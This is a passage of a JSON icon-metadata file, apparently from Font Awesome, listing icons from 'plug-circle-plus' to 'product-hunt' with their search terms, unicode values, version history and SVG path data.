        "path": "M96 0C78.3 0 64 14.3 64 32v96h64V32c0-17.7-14.3-32-32-32zM288 0c-17.7 0-32 14.3-32 32v96h64V32c0-17.7-14.3-32-32-32zM32 160c-17.7 0-32 14.3-32 32s14.3 32 32 32v32c0 77.4 55 142 128 156.8V480c0 17.7 14.3 32 32 32s32-14.3 32-32V412.8c12.3-2.5 24.1-6.4 35.1-11.5c-2.1-10.8-3.1-21.9-3.1-33.3c0-80.3 53.8-148 127.3-169.2c.5-2.2 .7-4.5 .7-6.8c0-17.7-14.3-32-32-32H32zM576 368a144 144 0 1 0 -288 0 144 144 0 1 0 288 0zm-64 0c0 8.8-7.2 16-16 16H368c-8.8 0-16-7.2-16-16s7.2-16 16-16H496c8.8 0 16 7.2 16 16z"
      }
    },
    "free": ["solid"]
  },
  "plug-circle-plus": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["electric", "electricity", "plug", "power"]
    },
    "styles": ["solid"],
    "unicode": "e55f",
    "label": "Plug Circle Plus",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767442,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M96 0C78.3 0 64 14.3 64 32v96h64V32c0-17.7-14.3-32-32-32zM288 0c-17.7 0-32 14.3-32 32v96h64V32c0-17.7-14.3-32-32-32zM32 160c-17.7 0-32 14.3-32 32s14.3 32 32 32v32c0 77.4 55 142 128 156.8V480c0 17.7 14.3 32 32 32s32-14.3 32-32V412.8c12.3-2.5 24.1-6.4 35.1-11.5c-2.1-10.8-3.1-21.9-3.1-33.3c0-80.3 53.8-148 127.3-169.2c.5-2.2 .7-4.5 .7-6.8c0-17.7-14.3-32-32-32H32zM432 512a144 144 0 1 0 0-288 144 144 0 1 0 0 288zm16-208v48h48c8.8 0 16 7.2 16 16s-7.2 16-16 16H448v48c0 8.8-7.2 16-16 16s-16-7.2-16-16V384H368c-8.8 0-16-7.2-16-16s7.2-16 16-16h48V304c0-8.8 7.2-16 16-16s16 7.2 16 16z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M96 0C78.3 0 64 14.3 64 32v96h64V32c0-17.7-14.3-32-32-32zM288 0c-17.7 0-32 14.3-32 32v96h64V32c0-17.7-14.3-32-32-32zM32 160c-17.7 0-32 14.3-32 32s14.3 32 32 32v32c0 77.4 55 142 128 156.8V480c0 17.7 14.3 32 32 32s32-14.3 32-32V412.8c12.3-2.5 24.1-6.4 35.1-11.5c-2.1-10.8-3.1-21.9-3.1-33.3c0-80.3 53.8-148 127.3-169.2c.5-2.2 .7-4.5 .7-6.8c0-17.7-14.3-32-32-32H32zM432 512a144 144 0 1 0 0-288 144 144 0 1 0 0 288zm16-208v48h48c8.8 0 16 7.2 16 16s-7.2 16-16 16H448v48c0 8.8-7.2 16-16 16s-16-7.2-16-16V384H368c-8.8 0-16-7.2-16-16s7.2-16 16-16h48V304c0-8.8 7.2-16 16-16s16 7.2 16 16z"
      }
    },
    "free": ["solid"]
  },
  "plug-circle-xmark": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["destroy", "electric", "electricity", "outage", "plug", "power"]
    },
    "styles": ["solid"],
    "unicode": "e560",
    "label": "Plug Circle Xmark",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767442,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M96 0C78.3 0 64 14.3 64 32v96h64V32c0-17.7-14.3-32-32-32zM288 0c-17.7 0-32 14.3-32 32v96h64V32c0-17.7-14.3-32-32-32zM32 160c-17.7 0-32 14.3-32 32s14.3 32 32 32v32c0 77.4 55 142 128 156.8V480c0 17.7 14.3 32 32 32s32-14.3 32-32V412.8c12.3-2.5 24.1-6.4 35.1-11.5c-2.1-10.8-3.1-21.9-3.1-33.3c0-80.3 53.8-148 127.3-169.2c.5-2.2 .7-4.5 .7-6.8c0-17.7-14.3-32-32-32H32zM432 512a144 144 0 1 0 0-288 144 144 0 1 0 0 288zm59.3-180.7L454.6 368l36.7 36.7c6.2 6.2 6.2 16.4 0 22.6s-16.4 6.2-22.6 0L432 390.6l-36.7 36.7c-6.2 6.2-16.4 6.2-22.6 0s-6.2-16.4 0-22.6L409.4 368l-36.7-36.7c-6.2-6.2-6.2-16.4 0-22.6s16.4-6.2 22.6 0L432 345.4l36.7-36.7c6.2-6.2 16.4-6.2 22.6 0s6.2 16.4 0 22.6z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M96 0C78.3 0 64 14.3 64 32v96h64V32c0-17.7-14.3-32-32-32zM288 0c-17.7 0-32 14.3-32 32v96h64V32c0-17.7-14.3-32-32-32zM32 160c-17.7 0-32 14.3-32 32s14.3 32 32 32v32c0 77.4 55 142 128 156.8V480c0 17.7 14.3 32 32 32s32-14.3 32-32V412.8c12.3-2.5 24.1-6.4 35.1-11.5c-2.1-10.8-3.1-21.9-3.1-33.3c0-80.3 53.8-148 127.3-169.2c.5-2.2 .7-4.5 .7-6.8c0-17.7-14.3-32-32-32H32zM432 512a144 144 0 1 0 0-288 144 144 0 1 0 0 288zm59.3-180.7L454.6 368l36.7 36.7c6.2 6.2 6.2 16.4 0 22.6s-16.4 6.2-22.6 0L432 390.6l-36.7 36.7c-6.2 6.2-16.4 6.2-22.6 0s-6.2-16.4 0-22.6L409.4 368l-36.7-36.7c-6.2-6.2-6.2-16.4 0-22.6s16.4-6.2 22.6 0L432 345.4l36.7-36.7c6.2-6.2 16.4-6.2 22.6 0s6.2 16.4 0 22.6z"
      }
    },
    "free": ["solid"]
  },
  "plus": {
    "aliases": {
      "names": ["add"],
      "unicodes": {
        "composite": ["2795", "f067"],
        "primary": ["f067"],
        "secondary": ["102b", "10f067"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.0.13",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "+",
        "Plus Sign",
        "add",
        "create",
        "expand",
        "math",
        "new",
        "plus",
        "positive",
        "shape",
        "sign"
      ]
    },
    "styles": ["solid"],
    "unicode": "2b",
    "label": "Plus",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767245,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M256 80c0-17.7-14.3-32-32-32s-32 14.3-32 32V224H48c-17.7 0-32 14.3-32 32s14.3 32 32 32H192V432c0 17.7 14.3 32 32 32s32-14.3 32-32V288H400c17.7 0 32-14.3 32-32s-14.3-32-32-32H256V80z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M256 80c0-17.7-14.3-32-32-32s-32 14.3-32 32V224H48c-17.7 0-32 14.3-32 32s14.3 32 32 32H192V432c0 17.7 14.3 32 32 32s32-14.3 32-32V288H400c17.7 0 32-14.3 32-32s-14.3-32-32-32H256V80z"
      }
    },
    "free": ["solid"]
  },
  "plus-minus": {
    "changes": ["6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Plus-Minus Sign", "add", "math", "subtract"]
    },
    "styles": ["solid"],
    "unicode": "e43c",
    "label": "Plus Minus",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767244,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M224 32c0-17.7-14.3-32-32-32s-32 14.3-32 32V144H48c-17.7 0-32 14.3-32 32s14.3 32 32 32H160V320c0 17.7 14.3 32 32 32s32-14.3 32-32V208H336c17.7 0 32-14.3 32-32s-14.3-32-32-32H224V32zM0 480c0 17.7 14.3 32 32 32H352c17.7 0 32-14.3 32-32s-14.3-32-32-32H32c-17.7 0-32 14.3-32 32z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M224 32c0-17.7-14.3-32-32-32s-32 14.3-32 32V144H48c-17.7 0-32 14.3-32 32s14.3 32 32 32H160V320c0 17.7 14.3 32 32 32s32-14.3 32-32V208H336c17.7 0 32-14.3 32-32s-14.3-32-32-32H224V32zM0 480c0 17.7 14.3 32 32 32H352c17.7 0 32-14.3 32-32s-14.3-32-32-32H32c-17.7 0-32 14.3-32 32z"
      }
    },
    "free": ["solid"]
  },
  "podcast": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f2ce"]
      }
    },
    "changes": ["4.7.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["audio", "broadcast", "music", "sound"]
    },
    "styles": ["solid"],
    "unicode": "f2ce",
    "label": "Podcast",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766675,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M319.4 372c48.5-31.3 80.6-85.9 80.6-148c0-97.2-78.8-176-176-176S48 126.8 48 224c0 62.1 32.1 116.6 80.6 148c1.2 17.3 4 38 7.2 57.1l.2 1C56 395.8 0 316.5 0 224C0 100.3 100.3 0 224 0S448 100.3 448 224c0 92.5-56 171.9-136 206.1l.2-1.1c3.1-19.2 6-39.8 7.2-57zm-2.3-38.1c-1.6-5.7-3.9-11.1-7-16.2c-5.8-9.7-13.5-17-21.9-22.4c19.5-17.6 31.8-43 31.8-71.3c0-53-43-96-96-96s-96 43-96 96c0 28.3 12.3 53.8 31.8 71.3c-8.4 5.4-16.1 12.7-21.9 22.4c-3.1 5.1-5.4 10.5-7 16.2C99.8 307.5 80 268 80 224c0-79.5 64.5-144 144-144s144 64.5 144 144c0 44-19.8 83.5-50.9 109.9zM224 312c32.9 0 64 8.6 64 43.8c0 33-12.9 104.1-20.6 132.9c-5.1 19-24.5 23.4-43.4 23.4s-38.2-4.4-43.4-23.4c-7.8-28.5-20.6-99.7-20.6-132.8c0-35.1 31.1-43.8 64-43.8zm0-144a56 56 0 1 1 0 112 56 56 0 1 1 0-112z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M319.4 372c48.5-31.3 80.6-85.9 80.6-148c0-97.2-78.8-176-176-176S48 126.8 48 224c0 62.1 32.1 116.6 80.6 148c1.2 17.3 4 38 7.2 57.1l.2 1C56 395.8 0 316.5 0 224C0 100.3 100.3 0 224 0S448 100.3 448 224c0 92.5-56 171.9-136 206.1l.2-1.1c3.1-19.2 6-39.8 7.2-57zm-2.3-38.1c-1.6-5.7-3.9-11.1-7-16.2c-5.8-9.7-13.5-17-21.9-22.4c19.5-17.6 31.8-43 31.8-71.3c0-53-43-96-96-96s-96 43-96 96c0 28.3 12.3 53.8 31.8 71.3c-8.4 5.4-16.1 12.7-21.9 22.4c-3.1 5.1-5.4 10.5-7 16.2C99.8 307.5 80 268 80 224c0-79.5 64.5-144 144-144s144 64.5 144 144c0 44-19.8 83.5-50.9 109.9zM224 312c32.9 0 64 8.6 64 43.8c0 33-12.9 104.1-20.6 132.9c-5.1 19-24.5 23.4-43.4 23.4s-38.2-4.4-43.4-23.4c-7.8-28.5-20.6-99.7-20.6-132.8c0-35.1 31.1-43.8 64-43.8zm0-144a56 56 0 1 1 0 112 56 56 0 1 1 0-112z"
      }
    },
    "free": ["solid"]
  },
  "poo": {
    "aliases": {
      "unicodes": {
        "composite": ["1f4a9"],
        "secondary": ["10f2fe"]
      }
    },
    "changes": ["5.0.0", "5.0.9", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "crap",
        "dung",
        "face",
        "monster",
        "pile of poo",
        "poo",
        "poop",
        "shit",
        "smile",
        "turd"
      ]
    },
    "styles": ["solid"],
    "unicode": "f2fe",
    "label": "Poo",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767602,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M268.9 .9c-5.5-.7-11 1.4-14.5 5.7s-4.6 10.1-2.8 15.4c2.8 8.2 4.3 16.9 4.3 26.1c0 44.1-35.7 79.9-79.8 80H160c-35.3 0-64 28.7-64 64c0 19.1 8.4 36.3 21.7 48H104c-39.8 0-72 32.2-72 72c0 23.2 11 43.8 28 57c-34.1 5.7-60 35.3-60 71c0 39.8 32.2 72 72 72H440c39.8 0 72-32.2 72-72c0-35.7-25.9-65.3-60-71c17-13.2 28-33.8 28-57c0-39.8-32.2-72-72-72H394.3c13.3-11.7 21.7-28.9 21.7-48c0-35.3-28.7-64-64-64h-5.5c3.5-10 5.5-20.8 5.5-32c0-48.6-36.2-88.8-83.1-95.1zM192 256a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm96 32a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm64 108.3c0 2.4-.7 4.8-2.2 6.7c-8.2 10.5-39.5 45-93.8 45s-85.6-34.6-93.8-45c-1.5-1.9-2.2-4.3-2.2-6.7c0-6.8 5.5-12.3 12.3-12.3H339.7c6.8 0 12.3 5.5 12.3 12.3z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M268.9 .9c-5.5-.7-11 1.4-14.5 5.7s-4.6 10.1-2.8 15.4c2.8 8.2 4.3 16.9 4.3 26.1c0 44.1-35.7 79.9-79.8 80H160c-35.3 0-64 28.7-64 64c0 19.1 8.4 36.3 21.7 48H104c-39.8 0-72 32.2-72 72c0 23.2 11 43.8 28 57c-34.1 5.7-60 35.3-60 71c0 39.8 32.2 72 72 72H440c39.8 0 72-32.2 72-72c0-35.7-25.9-65.3-60-71c17-13.2 28-33.8 28-57c0-39.8-32.2-72-72-72H394.3c13.3-11.7 21.7-28.9 21.7-48c0-35.3-28.7-64-64-64h-5.5c3.5-10 5.5-20.8 5.5-32c0-48.6-36.2-88.8-83.1-95.1zM192 256a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm96 32a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm64 108.3c0 2.4-.7 4.8-2.2 6.7c-8.2 10.5-39.5 45-93.8 45s-85.6-34.6-93.8-45c-1.5-1.9-2.2-4.3-2.2-6.7c0-6.8 5.5-12.3 12.3-12.3H339.7c6.8 0 12.3 5.5 12.3 12.3z"
      }
    },
    "free": ["solid"]
  },
  "poo-storm": {
    "aliases": {
      "names": ["poo-bolt"],
      "unicodes": {
        "secondary": ["10f75a"]
      }
    },
    "changes": ["5.5.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "bolt",
        "cloud",
        "euphemism",
        "lightning",
        "mess",
        "poop",
        "shit",
        "turd"
      ]
    },
    "styles": ["solid"],
    "unicode": "f75a",
    "label": "Poo Storm",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767662,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M236.9 .2c-5.5-.7-11 1.4-14.5 5.7s-4.6 10.1-2.8 15.3c2.8 8.2 4.3 16.9 4.3 26.1c0 21.7-8.5 37.2-21.9 47.6c-13.8 10.8-34 17-57.8 17H128c-35.3 0-64 28.7-64 64c0 12.2 3.4 23.5 9.3 33.2C31.7 216.2 0 252.4 0 296c0 41 28 75.4 65.8 85.2c-5.3-18.5 1-38.5 16.2-50.7l160-128c17.6-14.1 42.6-14 60.2 .2s22.8 38.6 12.8 58.8L285.7 320H304c20.4 0 38.5 12.9 45.3 32.1c3.7 10.6 3.5 21.8 0 31.9H360c48.6 0 88-39.4 88-88c0-43.6-31.7-79.8-73.3-86.8c5.9-9.7 9.3-21.1 9.3-33.2c0-35.3-28.7-64-64-64h-1.4c.9-5.4 1.4-10.9 1.4-16.6c0-48.7-36.1-88.9-83.1-95.2zm45.1 227.4c-5.8-4.7-14.2-4.7-20.1-.1l-160 128c-5.3 4.2-7.4 11.4-5.1 17.8s8.3 10.7 15.1 10.7h70.1L129.7 488.8c-3.4 6.7-1.6 14.9 4.3 19.6s14.2 4.7 20.1 .1l160-128c5.3-4.2 7.4-11.4 5.1-17.8s-8.3-10.7-15.1-10.7H233.9l52.4-104.8c3.4-6.7 1.6-14.9-4.3-19.6z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M236.9 .2c-5.5-.7-11 1.4-14.5 5.7s-4.6 10.1-2.8 15.3c2.8 8.2 4.3 16.9 4.3 26.1c0 21.7-8.5 37.2-21.9 47.6c-13.8 10.8-34 17-57.8 17H128c-35.3 0-64 28.7-64 64c0 12.2 3.4 23.5 9.3 33.2C31.7 216.2 0 252.4 0 296c0 41 28 75.4 65.8 85.2c-5.3-18.5 1-38.5 16.2-50.7l160-128c17.6-14.1 42.6-14 60.2 .2s22.8 38.6 12.8 58.8L285.7 320H304c20.4 0 38.5 12.9 45.3 32.1c3.7 10.6 3.5 21.8 0 31.9H360c48.6 0 88-39.4 88-88c0-43.6-31.7-79.8-73.3-86.8c5.9-9.7 9.3-21.1 9.3-33.2c0-35.3-28.7-64-64-64h-1.4c.9-5.4 1.4-10.9 1.4-16.6c0-48.7-36.1-88.9-83.1-95.2zm45.1 227.4c-5.8-4.7-14.2-4.7-20.1-.1l-160 128c-5.3 4.2-7.4 11.4-5.1 17.8s8.3 10.7 15.1 10.7h70.1L129.7 488.8c-3.4 6.7-1.6 14.9 4.3 19.6s14.2 4.7 20.1 .1l160-128c5.3-4.2 7.4-11.4 5.1-17.8s-8.3-10.7-15.1-10.7H233.9l52.4-104.8c3.4-6.7 1.6-14.9-4.3-19.6z"
      }
    },
    "free": ["solid"]
  },
  "poop": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f619"]
      }
    },
    "changes": ["5.2.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0", "6.4.1"],
    "ligatures": [],
    "search": {
      "terms": ["crap", "poop", "shit", "smile", "turd"]
    },
    "styles": ["solid"],
    "unicode": "f619",
    "label": "Poop",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767602,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M254.4 6.6c3.5-4.3 9-6.5 14.5-5.7C315.8 7.2 352 47.4 352 96c0 11.2-1.9 22-5.5 32H352c35.3 0 64 28.7 64 64c0 19.1-8.4 36.3-21.7 48H408c39.8 0 72 32.2 72 72c0 23.2-11 43.8-28 57c34.1 5.7 60 35.3 60 71c0 39.8-32.2 72-72 72H72c-39.8 0-72-32.2-72-72c0-35.7 25.9-65.3 60-71c-17-13.2-28-33.8-28-57c0-39.8 32.2-72 72-72h13.7C104.4 228.3 96 211.1 96 192c0-35.3 28.7-64 64-64h16.2c44.1-.1 79.8-35.9 79.8-80c0-9.2-1.5-17.9-4.3-26.1c-1.8-5.2-.8-11.1 2.8-15.4z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M254.4 6.6c3.5-4.3 9-6.5 14.5-5.7C315.8 7.2 352 47.4 352 96c0 11.2-1.9 22-5.5 32H352c35.3 0 64 28.7 64 64c0 19.1-8.4 36.3-21.7 48H408c39.8 0 72 32.2 72 72c0 23.2-11 43.8-28 57c34.1 5.7 60 35.3 60 71c0 39.8-32.2 72-72 72H72c-39.8 0-72-32.2-72-72c0-35.7 25.9-65.3 60-71c-17-13.2-28-33.8-28-57c0-39.8 32.2-72 72-72h13.7C104.4 228.3 96 211.1 96 192c0-35.3 28.7-64 64-64h16.2c44.1-.1 79.8-35.9 79.8-80c0-9.2-1.5-17.9-4.3-26.1c-1.8-5.2-.8-11.1 2.8-15.4z"
      }
    },
    "free": ["solid"]
  },
  "power-off": {
    "aliases": {
      "unicodes": {
        "composite": ["23fb"],
        "secondary": ["10f011"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["Power Symbol", "cancel", "computer", "on", "reboot", "restart"]
    },
    "styles": ["solid"],
    "unicode": "f011",
    "label": "Power Off",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767551,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M288 32c0-17.7-14.3-32-32-32s-32 14.3-32 32V256c0 17.7 14.3 32 32 32s32-14.3 32-32V32zM143.5 120.6c13.6-11.3 15.4-31.5 4.1-45.1s-31.5-15.4-45.1-4.1C49.7 115.4 16 181.8 16 256c0 132.5 107.5 240 240 240s240-107.5 240-240c0-74.2-33.8-140.6-86.6-184.6c-13.6-11.3-33.8-9.4-45.1 4.1s-9.4 33.8 4.1 45.1c38.9 32.3 63.5 81 63.5 135.4c0 97.2-78.8 176-176 176s-176-78.8-176-176c0-54.4 24.7-103.1 63.5-135.4z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M288 32c0-17.7-14.3-32-32-32s-32 14.3-32 32V256c0 17.7 14.3 32 32 32s32-14.3 32-32V32zM143.5 120.6c13.6-11.3 15.4-31.5 4.1-45.1s-31.5-15.4-45.1-4.1C49.7 115.4 16 181.8 16 256c0 132.5 107.5 240 240 240s240-107.5 240-240c0-74.2-33.8-140.6-86.6-184.6c-13.6-11.3-33.8-9.4-45.1 4.1s-9.4 33.8 4.1 45.1c38.9 32.3 63.5 81 63.5 135.4c0 97.2-78.8 176-176 176s-176-78.8-176-176c0-54.4 24.7-103.1 63.5-135.4z"
      }
    },
    "free": ["solid"]
  },
  "prescription": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f5b1"]
      }
    },
    "changes": ["5.1.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["drugs", "medical", "medicine", "pharmacy", "rx"]
    },
    "styles": ["solid"],
    "unicode": "f5b1",
    "label": "Prescription",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766750,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M32 0C14.3 0 0 14.3 0 32V192v96c0 17.7 14.3 32 32 32s32-14.3 32-32V224h50.7l128 128L137.4 457.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L288 397.3 393.4 502.6c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3L333.3 352 438.6 246.6c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0L288 306.7l-85.8-85.8C251.4 209.1 288 164.8 288 112C288 50.1 237.9 0 176 0H32zM176 160H64V64H176c26.5 0 48 21.5 48 48s-21.5 48-48 48z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M32 0C14.3 0 0 14.3 0 32V192v96c0 17.7 14.3 32 32 32s32-14.3 32-32V224h50.7l128 128L137.4 457.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L288 397.3 393.4 502.6c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3L333.3 352 438.6 246.6c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0L288 306.7l-85.8-85.8C251.4 209.1 288 164.8 288 112C288 50.1 237.9 0 176 0H32zM176 160H64V64H176c26.5 0 48 21.5 48 48s-21.5 48-48 48z"
      }
    },
    "free": ["solid"]
  },
  "prescription-bottle": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f485"]
      }
    },
    "changes": ["5.0.7", "6.0.0-beta1", "6.2.0", "6.2.1", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["drugs", "medical", "medicine", "pharmacy", "rx"]
    },
    "styles": ["solid"],
    "unicode": "f485",
    "label": "Prescription Bottle",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766751,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M0 32C0 14.3 14.3 0 32 0H352c17.7 0 32 14.3 32 32V64c0 17.7-14.3 32-32 32H32C14.3 96 0 81.7 0 64V32zm32 96H352V448c0 35.3-28.7 64-64 64H96c-35.3 0-64-28.7-64-64V416H144c8.8 0 16-7.2 16-16s-7.2-16-16-16H32V320H144c8.8 0 16-7.2 16-16s-7.2-16-16-16H32V224H144c8.8 0 16-7.2 16-16s-7.2-16-16-16H32V128z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M0 32C0 14.3 14.3 0 32 0H352c17.7 0 32 14.3 32 32V64c0 17.7-14.3 32-32 32H32C14.3 96 0 81.7 0 64V32zm32 96H352V448c0 35.3-28.7 64-64 64H96c-35.3 0-64-28.7-64-64V416H144c8.8 0 16-7.2 16-16s-7.2-16-16-16H32V320H144c8.8 0 16-7.2 16-16s-7.2-16-16-16H32V224H144c8.8 0 16-7.2 16-16s-7.2-16-16-16H32V128z"
      }
    },
    "free": ["solid"]
  },
  "prescription-bottle-medical": {
    "aliases": {
      "names": ["prescription-bottle-alt"],
      "unicodes": {
        "secondary": ["10f486"]
      }
    },
    "changes": ["5.0.7", "6.0.0-beta1", "6.2.0", "6.2.1", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["drugs", "medical", "medicine", "pharmacy", "rx"]
    },
    "styles": ["solid"],
    "unicode": "f486",
    "label": "Prescription Bottle Medical",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766750,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M0 32C0 14.3 14.3 0 32 0H352c17.7 0 32 14.3 32 32V64c0 17.7-14.3 32-32 32H32C14.3 96 0 81.7 0 64V32zm32 96H352V448c0 35.3-28.7 64-64 64H96c-35.3 0-64-28.7-64-64V128zM160 240v48H112c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h48v48c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V352h48c8.8 0 16-7.2 16-16V304c0-8.8-7.2-16-16-16H224V240c0-8.8-7.2-16-16-16H176c-8.8 0-16 7.2-16 16z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M0 32C0 14.3 14.3 0 32 0H352c17.7 0 32 14.3 32 32V64c0 17.7-14.3 32-32 32H32C14.3 96 0 81.7 0 64V32zm32 96H352V448c0 35.3-28.7 64-64 64H96c-35.3 0-64-28.7-64-64V128zM160 240v48H112c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h48v48c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V352h48c8.8 0 16-7.2 16-16V304c0-8.8-7.2-16-16-16H224V240c0-8.8-7.2-16-16-16H176c-8.8 0-16 7.2-16 16z"
      }
    },
    "free": ["solid"]
  },
  "print": {
    "aliases": {
      "unicodes": {
        "composite": ["1f5a8", "1f5b6", "2399"],
        "secondary": ["10f02f"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.3.0",
      "5.11.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "Print Screen Symbol",
        "Printer Icon",
        "business",
        "computer",
        "copy",
        "document",
        "office",
        "paper",
        "printer"
      ]
    },
    "styles": ["solid"],
    "unicode": "f02f",
    "label": "Print",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767341,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M128 0C92.7 0 64 28.7 64 64v96h64V64H354.7L384 93.3V160h64V93.3c0-17-6.7-33.3-18.7-45.3L400 18.7C388 6.7 371.7 0 354.7 0H128zM384 352v32 64H128V384 368 352H384zm64 32h32c17.7 0 32-14.3 32-32V256c0-35.3-28.7-64-64-64H64c-35.3 0-64 28.7-64 64v96c0 17.7 14.3 32 32 32H64v64c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V384zM432 248a24 24 0 1 1 0 48 24 24 0 1 1 0-48z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M128 0C92.7 0 64 28.7 64 64v96h64V64H354.7L384 93.3V160h64V93.3c0-17-6.7-33.3-18.7-45.3L400 18.7C388 6.7 371.7 0 354.7 0H128zM384 352v32 64H128V384 368 352H384zm64 32h32c17.7 0 32-14.3 32-32V256c0-35.3-28.7-64-64-64H64c-35.3 0-64 28.7-64 64v96c0 17.7 14.3 32 32 32H64v64c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V384zM432 248a24 24 0 1 1 0 48 24 24 0 1 1 0-48z"
      }
    },
    "free": ["solid"]
  },
  "product-hunt": {
    "changes": ["4.5.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f288",
    "label": "Product Hunt",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014473,
